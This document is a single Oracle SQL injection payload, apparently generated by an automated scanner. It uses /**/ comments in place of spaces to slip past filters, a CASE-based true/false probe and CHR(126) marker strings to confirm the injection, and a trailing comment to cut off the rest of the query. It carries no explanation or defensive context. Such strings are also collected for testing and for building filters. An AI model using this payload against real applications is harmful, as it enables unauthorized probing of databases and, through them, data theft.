1)AND/**/4712=(SELECT/**/UPPER(CHR(126)||'~'||(SELECT/**/(CASE/**/WHEN/**/(4712=4712)/**/THEN/**/1/**/ELSE/**/0/**/END)/**/FROM/**/DUAL)||'~'||CHR(126))/**/FROM/**/DUAL/**/WHERE/**/DBMS_RANDOM.VALUE(6943,7305)=3081)-- -